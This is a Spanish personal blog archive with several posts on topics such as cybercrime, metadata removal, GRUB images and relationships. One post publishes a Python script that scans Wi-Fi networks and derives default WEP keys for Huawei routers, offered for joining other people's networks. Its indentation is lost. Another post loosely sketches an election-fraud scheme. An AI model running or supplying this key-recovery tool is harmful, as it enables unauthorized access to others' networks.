Cada vez es más frecuente oír decir "me hackearon mi cuenta de hotmail" (facebook, mail, etc), me robaron "x cantidad de mi tarjeta", etc; habría que llamar a las cosas por su nombre y no pienso profundizar más en esto porque ya escribí un post al respecto, sin embargo siempre he sido muy puntual respecto al tema, alguien que te roba tu contraseña no es un hacker solo es un ladrón, no te hackean tu cuenta de hotmail, hasta ahora no conozco a alguien que pueda contar la hazaña de haber pasado los n servidores de seguridad de hotmail hasta llegar a la base de datos y una vez adentro encontrar la forma de dumpear la base de datos y luego crackear la contraseña (para saber si les pintan el cuerno), y, si existió, seguramente le pagaron muy bien por su silencio. Entonces volviendo a lo mismo, un delincuente no ataca al servidor solo al eslabón más débil, en este caso el usuario, de ahí que muchos siempre estemos chingando para que por lo menos los más cercanos a nosotros tomen las precauciones mínimas.

He criticado muy duramente a quienes haciendo uso de lo que saben han comprado cosas o servicios usando dinero virtual robado, uno de ellos me contó sus razones y aunque son humanamente validas no justifique sus actos, pues he conocido el hambre y pese a eso he mantenido mi ética. El problema detrás de la delincuencia en general no solo de la virtual, es la forma en la que la sociedad la acepta, me explico, tenemos por ejemplo el dicho aquel de "en México, el que no tranza no avanza", que de un modo muy peculiar refleja la decadencia de nuestra sociedad. Además de exaltar las "hazañas" de los delincuentes con corridos, volar cabezas y matar a tus "enemigos" son temas de canciones pegajosas con las que crecen nuestros niños hoy en día.

Desde hace muchos años vivimos con el sueño de cobrar sin trabajar, la idea es reducir al mínimo posible el esfuerzo y con ello obtener el beneficio máximo, de ser posible conseguir mejores ganancias sin ensuciarnos las manos, para ello siempre se puede conseguir mano de obra barata, en un país en donde las oportunidades laborales son escasas, la ley de la oferta y la demanda pasan un precio muy alto, mucha oferta de mano de obra + poca oferta laboral = limitación de salarios a empleados finales + incremento en la ganancia de los empleadores.

A pesar de eso no justifico la delincuencia, puede ser que la sociedad misma te enseñe la formula para convertirte en delincuente, pero la decisión final es siempre personal.

Para complicarlo tenemos un sistema judicial ineficiente, ¿de que sirve tener más cárceles y llenarlas?, si la privación de la libertad en México no basta como escarmiento, y, es más una escuela para criminales o sala de vacaciones, aunque para muchos resulte un infierno por consecuencia de ir a parar ahí siendo inocentes del delito que se les acusa, en un país en donde eres culpable hasta que demuestres lo contrario (lo que se demuestra con sobornos, la mayoría de las veces) no es raro que hayamos inventado el "amparo".

En materia de informática México comienza a despertar y cada vez hay más personas conectadas a la red (37.6 millones de acuerdo al INEGI), por lo que crece igualmente la oportunidad de dedicarse a ser un "ciber-delincuente" tiende a crecer, la legislación en esta materia no es clara y hay pocos renglones en el código penal federal al respecto, por lo que habría que pensar, ¿cuál será el mecanismo para hacer frente a un problema que ya es una realidad, pero que en unos años tendrá consecuencias severas?. Desgraciadamente la ignorancia de los políticos en este tema es y será un factor importante. ¿A caso, podemos esperar una reforma significativa y bien pensada teniendo un presidente que a penas ha leído un libro? (y no precisamente de seguridad informática), la responsabilidad de proteger nuestra información comienza con nosotros mismos y de acuerdo a la experiencia no podemos confiarla al gobierno y los políticos.

El esbozo más grande hecho hasta ahora por los gobiernos imperialistas para perseguir y castigar a los "ciber-delincuentes" es solo contra aquellos que atentan contra la propiedad privada (de las grandes empresas por supuesto), sin embargo ya hay quienes están levantando las voces y realmente se han puesto a estudiar, han conseguido las bases legales para sustentar un caso basados no el "delito informático", sino en el delito por si mismo; con algo de mala suerte se encuentren con uno de estos y terminen enfriándose unos años en una bien afamada cárcel mexicana.

La aplicación de las leyes humanas en contra de una sociedad virtualizada se debe manejar con mucho cuidado o terminará siendo la misma mierda, y existirán amparos virtuales, si las leyes solo han de seguir protegiendo a las grandes empresas o a las personas que tengan el dinero suficiente para pagar por ellas, entonces es momento de aprender a defender nuestros derechos, al menos parece que la ciber-sociedad es un poco menos apática y abierta al cambio, y eso, al menos por ahora, me llena de esperanza.

SaluDoS!!!

Automatizando mac2wepkey para trabajar desde una terminal Linux

2012-07-29T10:21:00.000-07:00

La idea de programar este script se debió principalmente a una anécdota en Pinotepa Nacional hace poco más de un año, la cosa es que había un router Huawei, pero el único cliente conectado estaba mediante cable, por lo que no había paquetes de datos válidos para romper la clave wep, así que algunos estaban intentando inútilmente inyectar paquetes en dicha red, cuando llegué al evento ya llevaban un buen rato con eso y no podían, por lo que hice uso de mi hermoso teléfono (en aquel entonces un i1 de Motorola) que bien equipado con Python, me permitió pronto conseguir la clave del router sin tener que descifrarla, hacer inyección de paquetes ni nada por el estilo, en aquel momento me di cuenta del potencial de esta herramienta considerando dos factores, por una parte una vez que Telmex se casa con un fabricante, inunda el mercado con roters de esa compañía, segundo la ventaja de no tener que hacer inyección porque además hay que decirlo estos son un poco más resistentes que otros a la inyección (¿irónico no?), después de eso automatice el proceso para que detectará todas las redes y mostrará solo las claves de los que eran huawei basado en su dirección MAC, sin embargo como por ahora no tengo un teléfono con Android, me ví en la necesidad de adaptar el script a una terminal para automatizar el proceso, hasta el momento no he empleado las librerías adecuadas de Python porque recuerdo que alguien me había comentado que había un par de ellas dedicadas exclusivamente al uso de las redes inalámbricas (por lo que si alguien sabe cuales son le agradecería me lo haga saber); lo que hice fue un tanto más primitivo pero igualmente valido, consistió en usar la librería "os" para ejecutar comandos de sistema y leer la respuesta, el comando a usar era desde mi perspectiva "iwlist interfaz scan" que nos da información sobre las redes detectadas, el inconveniente es que se necesita ejecutar como root, pero eso no debe representar un problema, así que para evitar caritas tristes hice una función que detecte el usuario, nuevamente apelando a la terminal, por último el script ejecuta un "iwlist interfaz scan | grep Cell" para generar una lista de las direcciones MAC, verifica si son huawei y en caso de que si obtiene la clave por defecto, espero que les sirva, en algunos casos lo único que se necesita es una conexión no especifica, así que eso podrá ayudarles, les dejo aquí mismo el código por si quieren descargarlo y abajo por si quieran hacer un copy/paste y finalmente en pastebin por si quieran incluirlo en algún otro sitio.

Antes de que lo olvide, la sintaxis de uso es python m2wkuvz.py (wlan0, wlan1, etc)

#!/usr/bin/env python
#-*- encoding: utf-8 -*-

# mac2wepkey Huawei HG520 by hochoa@websec.mx - 12/2010
# m2wkuvz (m2wkuvz ubuntu version) by hack@zosemu.com - 07/2012

import os, sys

def uso():
os.system("clear")
print "Uso: python", sys.argv[0], "Interfaz_Inalámbrica"

def hex2dec(s):
return int(s, 16)

def es_huawei(macx):
hard=["001882","001e10","0022a1","002568","00e0fc","04c06f","0819a6","1c1d67","202bc1","285fdb","286ed4","308730","404d8e","4c1fcc","4c5499","548998","54a51b","5c4ca9","6416f0","781dba","80fb06","84a8e4","cc96a0","F4c714"]
for x in range(len(hard)):
n=x
if macx==hard[n]: return True; break
return False

def wepkey(macz):
i=0;mac=[]
a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8
a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10
a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6
a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12
a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8
a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11
a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4
a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4
a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14
a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7
a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11
a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12
a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11
a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9
n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12
n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13
n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5
n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6
n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14
n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7
n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6
n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0
n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4
n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15
n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12
n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9
n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11
n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10
n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1
n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11
n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6
n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2
n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4
n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3
n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15
n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13
n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10
n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3
n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10
n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11
n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10
n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10
n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3
n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5
n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5
n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2
n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9
key=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66
ssid=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']
while i<12:
mac.insert(i,hex2dec(macz[i]));i=i+1
s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[mac[10]])^(a9[mac[11]])^5
s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^(a11[mac[10]])^(n32[mac[11]])^10
s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(n30[mac[10]])^(n33[mac[11]])^11
s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]])^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^(a6[mac[10]])^(a0[mac[11]])^10
ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[mac[10]])^(a0[mac[11]])^13
yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[mac[10]])^(a15[mac[11]])^4
yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[mac[10]])^(a1[mac[11]])^7
yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[mac[10]])^(a0[mac[11]])^14
ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[mac[10]])^(a2[mac[11]])^7
alfa = "ESSID="+str(ssid[s1])+str(ssid[s2])+str(ssid[s3])+str(ssid[s4])+" - Wepkey="+str(key[ya])+str(key[yb])+str(key[yc])+str(key[yd])+str(key[ye])
return alfa

def verifica(interfaz):
m = os.popen("whoami").read()
g = m[:4]
n = os.popen("id -un").read()
h = n[:4]
usuario = m[0:len(m)-1]
print "[+] Detección de usuario:", usuario
if (m == n) and g == 'root' and h == 'root':
print "[+] Escaneo iniciado con la interfaz", interfaz
comando = "iwlist " + interfaz + " scan | grep Cell"
hay = os.popen(comando).read()
lista = hay.split("\n")
encontradas = 0
huaweii = 0
encontradas = len(lista) - 1
print "[+] Redes encontradas: ", encontradas
if len(lista) > 0:
for x in lista:
y = x[-17:]
if len(y) == 17:
macc = y.replace(':','')
macc = macc.lower()
huawei = es_huawei(macc[0:6])
if huawei:
huaweii += 1
z = wepkey(macc)
print " * MAC=", y, "-",z
else:
print " - MAC=",y, " No huawei!"
print "[+] Huawei detectadas:", huaweii
else:
print "No se encontaron redes inalámbricas o no especifico adecuadamente la interfaz"
else:
print "[-] Es necesario ejecutar este script como root para poder emplearlo aplicación terminada."

if len (sys.argv) != 2:
uso()
else:
verifica(sys.argv[1])

Metadatos hasta en la sopa

2012-06-27T09:51:00.000-07:00

Antes que nada y para aburrirlos un poco les contaré como fue que surgió la idea de publicar esto, todo se remonta a una vez que mis padres decidieron dar rienda suelta a sus pasiones...

No verdad eso es mucho regresar el tiempo, pero me gusta no perder de vista el hecho de que soy producto de la pasión de dos seres humanos jajaja, la verdadera historia surge cuando la semana pasada al usar la aplicación de Mapas de un teléfono Nokia, descubrí que la imagen que había tomado previamente para el post de "Como me robaría yo las elecciones", aparecía justamente marcada en el mapa en el lugar donde fue tomada, o sea mi casa. Ante esto mi curiosidad despertó, la idea original de esto es explicar como eliminar esa molesta información que puede resultar comprometedora, pero primero habrá que explicar que son los metadatos.

Bien los metadatos sirven a grandes rasgos para dar información adicional a un sistema operativo sobre un determinado archivo, profundicemos en esto, por principio de cuentas habrá que recordar que un archivo es solo un conjunto de unos y ceros que se almacenan en nuestro equipo, entonces el sistema debe saber como identificar que tipo de archivo es cada uno, en sistemas basados en UNIX como GNU/Linux o MacOS esto no resulta un problema porque lo hacen mediante el reconocimiento de la estructura del archivo, es decir verifican la forma en la que esta compuesto nuestro archivo y son capaces de saber que una imagen es una imagen aún sin extensión, pero como nuestro querido amigo Gates era un poco huevon la verdad, se las ingenio para hacer uso de la extensión y reconocer el tipo de archivo basado en ellas (lo que en ocasiones sirve a un virus para ejecutarse, haciéndonos pensar que es una imagen por ejemplo), de hecho en las últimas versiones de Windows las extensiones no aparecen y solo vemos un icono según el sistema crea que es la extensión, pero dejemos de lado esas malas prácticas.

La palabra metadato es una palabra compuesta del griego "μετα", que significa 'junto a', 'después de', 'entre' o 'con'. Y del latín datum (lo que se da), pero del cual tomaremos el significado relativo a la informática y es: Información dispuesta de manera adecuada para su tratamiento por un ordenador. Lo que nos da una idea de para que sirven como ya lo había mencionado.

Seguramente muchos se estarán preguntando ¿y para que sirven?, ¿donde se generan?, ¿y, a mi que chingaos con esas madres? (esa última seguramente será de mi amiga surpa jajajaja), bueno como todo en la vida moderna funciona a base de computadoras los metadatos se han colado casi hasta en la sopa (y no dudo que en el futuro cercano así sea), los dispositivos como iPods, teléfonos celulares, navegadores GPS, smartphones y demás, los usan todo el tiempo, por ejemplo el iPod extrae los metadatos de sus canciones a fin de mostrar en su pantalla, el nombre del artista, álbum, año y hasta la letra de la canción (dependiendo el modelo), un GPS extrae información relacionada a lugares cercanos (bancos, estaciones del metro, etc), pero en donde principalmente pueden darnos dolor de cabeza es en las imágenes, como mencione antes la combinación del GPS usado por la aplicación Mapas y la cámara daban como resultado que la imagen tomada previamente apareciera en el mapa, cosa que puede ser útil, pero que bajo otras circunstancias podría servir a cualquier cabrón que les robara el teléfono celular para saber en donde viven o por lo menos donde han estado, ¿ahora entienden el problema?.

Todos los días millones de imágenes se suben al facebook por ejemplo o son compartidas en twitter, hasta ahora he visto que facebook elimina la mayoría de los metadatos de las imágenes, pero no descartaría que los use para otros fines. Pero, ¿qué pasa si subimos las imágenes a un servidor personal? o ¿si las enviamos por correo?, ups el resultado puede no ser tan grato como ustedes creen, yo hice el experimento y comprobé que al enviarme una imagen con metadatos a mi correo desde el celular la información era la misma, así que habrá que tener cuidado con el manejo de la cámara de sus dispositivos, hay forma de evitar que se use la localización pero siempre es recomendable verificar los metadatos de una imagen antes de enviarla.

En la entrada anterior ya había hablado del conjunto de herramientas llamado "Image Magic" y que viene con la mayoría de las distros GNU/Linux, por lo menos en las más conocidas y usadas, por lo que haré uso de una de esas herramientas para eliminar los metadatos, primero veamos que información podemos obtener de una imagen usando "identify":

identify -verbose 2012-06-17-024.jpg

veamos que fue lo que me mostró:

luego un montón de datos que por el momento no comentaré y después llegamos a la parte interesante:

Las tres coordenadas para localizarme jajajajaja Altitud, latitud y longitud XD!!!

Bueno eso puede resultar en un problema ahora a solucionarlo, en una terminal ejecutamos:

convert 2012-06-17-024.jpg -quality 40% -strip -resize 25% blog_1.jpg

ahora a explicar, primero "convert" es el comando que usaremos para convertir la imagen en otra, "-quality" se usa en JPG para indicar la calidad de la imagen, el importante para el asunto que nos interesa "-strip" se encarga de eliminar los metadatos y finalmente "-resize" que en este caso reducirá la imagen a otra más pequeña, esto puede hacerse de manera porcentual o definiendo el tamaño de la forma anchoxalto, pero como quiero que la proporción se mantenga y solo reducirla, usaré la escala porcentual, el resultado de esto es:

Como se pueden dar cuenta la resolución no se vio afectada por el cambio, en otra ocasión publicaré como hacer también ese cambio, si les interesa. Bueno esta es una buena razón para hacer uso de GNU/Linux, pero sobre todo para que estén conscientes de la existencia de estos bichos llamados metadatos y que los podrían poner en un predicamento, sin saberlo, como siempre el uso responsable de la tecnología debe formar parte de nuestra cultura.

Bueno para los que no dispongan de una terminal de GNU/Linux les puedo decir que Image Magic también tiene una versión para Windows aunque no la he probado, otra alternativa es usar GIMP, abrir la imagen, guardarla como PNG y en las opciones de exportación eliminar el guardado de comentarios y demás metadatos.

SaluDoS!!!

Imagen personalizada en Grub

2012-06-25T10:21:00.000-07:00

A propósito de otro post que estoy preparando, me vi en la necesidad de crear una imagen para el cargador de archivos GRUB, cosa que técnicamente no es complicada pero de la que no encontré mucha información al respecto en la red, por lo que me dí a la tarea de escribir esta entrada para futuras referencias respecto al tema.

Para los que no lo sepan GRUB (GRand Unified Bootloader) es un proyecto de GNU Linux que nació con la finalidad como su nombre lo indica de unificar la carga de sistemas operativos o como los gringos lo llaman bootloader, explicar que es el boot queda completamente fuera del alcance de esta entrada pues tendría que explicar demasiado y ando escaso de tiempo, pero puede ser que en un futuro lo explique detalladamente, lo que si puedo explicar de manera rápida, es que todo sistema operativo, necesita cargarse desde algún lugar (en la actualidad ese lugar puede ser incluso una MircoSD), pero además para poder arrancar dependiendo de las características propias de cada sistema operativo necesitara una mayor cantidad de parámetros para ello, en Windows XP por ejemplo el archivo "boot.ini" explica en que lugar del disco duro se encuentra la instalación de nuestro sistema.

Pero ya me estoy enrollando demasiado con explicaciones fuera de lugar, GRUB para poder cargar los sistemas operativos se basa en un archivo llamado "menu.lst" que normalmente se encuentra en "/boot/grub/", ese archivo es el que contiene las entradas necesarias para poder cargar nuestro(s) sistema(s) operativo(s), la entrada para poder poner una imagen de fondo en ese menú es "splashimage" y normalmente esta comentada (¿o sea?, comienza con un #), bueno en ese caso debemos eliminar el comentario es decir el carácter "#" y remplazar la línea por algo como "splashimage=(hd0,0)/boot/grub/booting.xpm", una explicación rápida (hd0/0) indica el disco duro y la partición desde donde se va a cargar dicha imagen, en este caso disco duro 0 (principal) y partición (0) también partición principal, "/boot/grub/" la ruta al lugar donde esta la imagen [Nota: la carpeta donde se encuentre este archivo debe ser accesible desde el arranque, si tienen una partición cifrada no funcionará si la ponen ahí.], finalmente "booting.xpm" es el nombre de la imagen en cuestión, aquí es a donde llegamos a la parte interesante ¿cómo chin... hacer para crear estas imágenes?, hay dos opciones, la primera hacer un programa (muy interesante y casi desconocido por cierto) que forma parte de ImageMagic, la otra usar GIMP o algún otro editor de imagen, para el caso de usar ImageMagic, abrimos una terminal, nos ubicamos en la carpeta donde se encuentra nuestra imagen en formato PNG (preferentemente), JPG, etc, y ejecutamos el comando:

convert MiImagen.extensión -colors 14 -resize 640x480 NombreFinal.xpm

o para ser más claro si mi imagen se llama ZoSemU.png y la vamos a dejar lista para la entrada del menú sugerida arriba, quedaría de la siguiente manera:

convert ZoSemU.png -colors 14 -resize 640x480 booting.xpm

con eso nuestra imagen habrá quedado lista para usarse en el GRUB; en caso de usar GIMP, puede hacer el procedimiento normal de redimencionar la imagen, ponerle letras, etc, etc y al final ir al menú "Imagen/Modo/Indexeado/Generar paleta óptima Número máximo de colores" y darle 14 en lugar de los 256 que tiene por defecto, una vez terminado les pedirá convertir, la guardan con la extensión "xpm" y listo.

Finalmente solo les recuerdo que GRUB también soporta la compresión de estos archivos en formato "gz" por lo que desde la terminal procedemos a comprimirla usando el comando:

"gzip booting.xpm"

lo que dará como resultado el archivo "booting.xpm.gz" y nuestra linea de GRUB quedaría de la siguiente forma:

splashimage=(hd0,0)/boot/grub/booting.xpm.gz

SaluDoS!!

La edad del amor?

2012-06-22T12:37:00.000-07:00

Dicen que para el amor no hay edad, sin embargo es una gran realidad que unos años si hacen una gran diferencia entre lo que se quiere y lo que se puede esperar de una relación, cuando la edad diferencia de edades entre los que forman la pareja es muy amplia, ¿se puede realmente ser feliz?.

Primero definamos dos cosas, estar enamorado y amar no es lo mismo, de hecho estudios antropológicos, fisiológicos, etc, etc, lo han demostrado, técnicamente las reacciones que experimenta el cuerpo con eso del amor se puede dividir en tres, que a groso modo y para no enrollarme tanto diré que son: pasión, enamoramiento y amor.

Partiendo de este hecho podríamos decir que el estado que más felicidad produce en las personas es el enamoramiento, etapa durante la cual literalmente nos volvemos ciegos, sordos, tontos por decirlo rápido; pero eso no siempre pasa y puede ser adictivo debido a los niveles de serotonina que libera el cerebro durante esta etapa. Literalmente nos hace felices el estar con esa persona, para llegar a un estado de enamoramiento mayor en donde nos volvemos bobos, hace falta más que solo químicos y es aquí donde entran los detalles, caricias, besos, contacto en general, pero este estado reforzarse se convierte en algo más profundo a lo que llamamos amor, que el cerebro interpreta más como una sensación de tranquilidad y relajación, el amor es interpretado como certeza por nuestro cerebro.

Dejando atrás lo que dicen un montón de científicos y lo que en nuestra pequeña cabeza se pueda desarrollar, viene un factor adicional para aquellos que quieren formar una pareja (o no tanto), la sociedad, es obvio que al pertenecer a una sociedad las relaciones de toda persona serán sometidas a juicio (critica) por parte de la sociedad, desde los factores socio-económicos hasta lo primitivo de nuestro ser que nos dice que hay que mejorar la raza (genéticamente hablando si tiene implicaciones, no es racismo), habrá opiniones respecto a lo que puedan considerar "el mejor partido" para sus amigos, primos, hermanos, tíos, pero sobre todo padres e hijos.

Socialmente hablando la edad aceptada para que una relación no sea considerada pedofilia, esta dada por una ecuación muy particular y que despejada puede darnos una idea bastante amplia de como cambia lo socialmente aceptable, veamos:

edad_aceptable = (edad_individuo / 2) + 4

Por lo que si remplazamos variables para que quede más corto y si invertimos la ecuación a partir de nuestra edad para saber que aceptará la sociedad como pareja mayor a mi edad y no sea considerada gerontofila:

pedofilia: y < (1/2x) + 4 gerontofilia: y > (2x - 8)

en donde x representa su edad por supuesto.

Es bien sabido por todos sabido que más allá de lo sexual, los intereses de una persona no son particularmente los mismos conforme a su edad (aunque hay personas muy inmaduras), por lo que si el enamoramiento depende de una chispa y necesita mucho combustible para convertirse en las cenizas que son el amor, será muy difícil que una pareja con una diferencia significativa en las edades pueda conseguir ese combustible, dicho sea de paso no estoy diciendo que sea imposible, pero si difícil cuando la media de esa ecuación se hace más grande, porque basados en la ecuación vemos que todo depende de la variable "x" o sea nuestra edad, yo por ejemplo a mis 28 años (a la fecha de escribir este post) usando esas ecuaciones menor edad 18, mayor edad 48, lo que nos da un rango de 30 años, pero esto cambia cada dos años y se incrementa en 3 ese rango, es decir cuando tenga 30 el rango será de 33, con una mínima de 19 y una máxima de 52, vaya que la sociedad se flexibiliza con los viejos jajajajaja.

Bueno para despedirme de esto, dejaré un pequeño reto, la respuesta me la pueden hacer llegar por twitter o por facebook, no prometo premio pero igual un pack de libros digitales. Bueno la pregunta es, de a cuerdo a wikipedia, ¿qué edad tendría que tener yo para el 27 de Agosto de 2012, para no ser considerado gerontofilo por hacer pareja con la persona más vieja en el planeta a esa fecha?

Como robaría las elecciones yo!!

2012-06-17T22:09:00.002-07:00

Este artículo no se habría escrito nunca de no ser por la casualidad del destino, ya había terminado de ver mikorte como cada semana, cuando por una extraña razón pase por el canal 4 (Foro TV) y me encontré con Carlos Ugalde (ex presidente del IFE) diciendo "No hay forma de robarse las elecciones", cosa que me llamo poderosamente la atención porque el señor afirma que en México tenemos un sistema electoral "impenetrable", como no creo en la existencia de un sistema impenetrable, me quede oyendo sus argumentos, luego de oír lo que tenía que decir, me parece ridículo, absurdo, estúpido e irresponsable creer que existe un sistema impenetrable, lo anterior parafraseando los adjetivos usados por él para referirse a quienes tienen sus dudas respecto a esta posibilidad.

Por lo que pensé, si a mi se me contratará para hacer un fraude de esta magnitud, sería capaz de pasarme por el forro el sistema "impenetrable" de México, pues claro que si y pensándolo bien, no me resulto difícil imaginar como lo haría, vamos por partes lo primero es que si usted tiene oportunidad de ver dicha entrevista y escucha los argumentos del ex presidente del IFE, suena más o menos coherente el afirmar, que si quisieran orquestar un fraude necesitarían coordinar a más de 500,000 personas que participan en la elección para tal motivo y "susurrarles al oído lo que tienen que hacer", cualquiera diría eso es imposible, algunos afirmarían que si es posible empleando el mecanismo correcto, pero yo creo que 500,000 es un número innecesario y hasta una pendejada gastar tanto y tener tantos cabos sueltos, entonces ¿cómo?.

Bien lo primero que haría sería imprimir por doble o triple las boletas electorales, arreglaría hasta donde se pudiera quienes van a ser los funcionarios de casilla para buscar el mínimo posible en grado de estudios de ellos o por lo menos la preferencia electoral de ellos, eso me daría una ventaja sobre todo en distritos rurales además de ahorrarme trabajo después, lo siguiente sería hacer varias encuestas para medir la cantidad media de votos por mi candidato (en realidad las fabricaría para darle validez a lo que viene después); una vez que tengo los datos de como va mi candidato lo siguiente sería hacer un programa que por cada "n" votos para los oponentes se descuente ese "n" y se le pase a mi candidato, apunte el distrito de donde lo estamos falsificando y se cree un informe, además de anular "x" cantidad de votos, de esa manera una vez ganadas las elecciones, usaría las boletas duplicadas junto con los resultados de las encuestas junto con las boletas duplicadas para legitimar el resultado, claro que para ello debería de fabricar unas boletas que sean fácilmente anulables.

Bueno eso es lo que yo, un simple hombre haría para robarme las elecciones, por supuesto necesitaría contar con las personas adecuadas en los puestos adecuados, pero eso no es complicado en México, todo se puede resolver con la cantidad adecuada de dinero.

Ahora le toca a usted juzgar si existen evidencias de algo de lo que yo haría existe o si es posible, como esta seguramente hay otras formas o ideas, por lo que le pediría al ex presidente del IFE reconsidere el afirmar que es "impenetrable" su sistema, porque el primer paso para que te la metan es creer que no hay por donde te entre!!!

P.D.

No soy un experto en lenguaje corporal pero me parece de verdad que el señor no tiene idea de lo que esta hablando, como siempre eso le toca juzgarlo a usted.

Restaurando XP virtual

2012-05-28T22:26:00.002-07:00

La semana pasada mi hermana me pidió ayuda con un trabajo, por lo que para facilitarle las cosas le preste una maquina virtual con Windows XP, sin embargo por alguna extraña razón luego de un extraño fallo en el sistema mi maquina virtual dejo de funcionar (cosa muy común tratándose de Windows, pero raro porque nunca me había fallado una máquina virtualizada), en fin me decidí a recuperar mi sistema, porque la verdad es que le tengo cierto aprecio a esa maquina virtual (aunque no use como SO de base Windows, todavía me es útil).

El primer síntoma es un reinicio constante que seguramente muchos recordarán, bueno como dudo que con el poco tiempo que dura este mensaje alguien sea capaz de leerlo, lo primero que debemos de hacer es precisamente evitar que se reinicie constantemente para eso oprimimos F8 durante el inicio y seleccionamos la opción "Deshabilitar el reinicio automático si hay error en el sistema", a continuación seleccionar el SO con el que vamos a arrancar, ahora a esperar nuestra pitufi pantalla.

Luego de un rato nuestra querida y hermosa pantalla azul del recuerdo, ya sabemos que algo esta podrido ahora la cuestión es repararlo, como en este caso dispongo de otra maquina virtual con XP instalado, resultará demasiado sencillo repararla, pero voy a poner un par de ejemplos usando tanto otra maquina virtual como un LiveCD para la restauración a fin de que ustedes vean cual es el procedimiento, este procedimiento es perfectamente valido para los errores:

No se puede iniciar Windows XP porque el siguiente archivo está dañado o no se encuentra: \WINDOWS\SYSTEM32\CONFIG\SYSTEM

No se puede iniciar Windows XP porque el siguiente archivo está dañado o no se encuentra: \WINDOWS\SYSTEM32\CONFIG\SOFTWARE

Stop: c0000218 {Error del archivo de Registro} El Registro no puede cargar la sección (archivo): \SystemRoot\System32\Config\SOFTWARE o su registro o alternativo

Bueno si tenemos otra maquina virtual con SO a la mano haremos uso de ella, por lo que debemos configurar nuestro disco duro virtual dañado como esclavo y arrancar el sistema.

